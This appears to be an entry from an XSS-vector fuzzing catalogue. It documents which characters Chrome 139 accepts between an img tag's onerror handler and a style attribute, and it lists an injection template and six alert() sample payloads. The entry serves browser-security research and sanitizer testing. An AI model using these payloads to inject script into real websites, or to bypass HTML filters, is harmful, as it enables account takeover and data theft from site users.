Chars allowed before style attribute...
This XSS vector shows what characters can be used before the onerror event.
Created by: t0xodile
Created on: Saturday, October 25, 2025 at 4:35:54 PM
Updated on: Saturday, October 25, 2025 at 4:35:54 PM
Vector type: XSS
Vector charset: UTF-8
Template used:
<img src onerror=log($[i])$[chr]style=display:block;content-visibility:auto>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...
Sample payloads
<img src onerror=alert(9) style=display:block;content-visibility:auto>
<img src onerror=alert(10)
style=display:block;content-visibility:auto>
<img src onerror=alert(12)style=display:block;content-visibility:auto>
<img src onerror=alert(13)
style=display:block;content-visibility:auto>
<img src onerror=alert(32) style=display:block;content-visibility:auto>
<img src onerror=alert(62)>style=display:block;content-visibility:auto>
Fuzz results
Chrome 139.0.0.0 desktop Linux Unknown
Updated
Sat Oct 25 2025
Found 6 results
Loading...
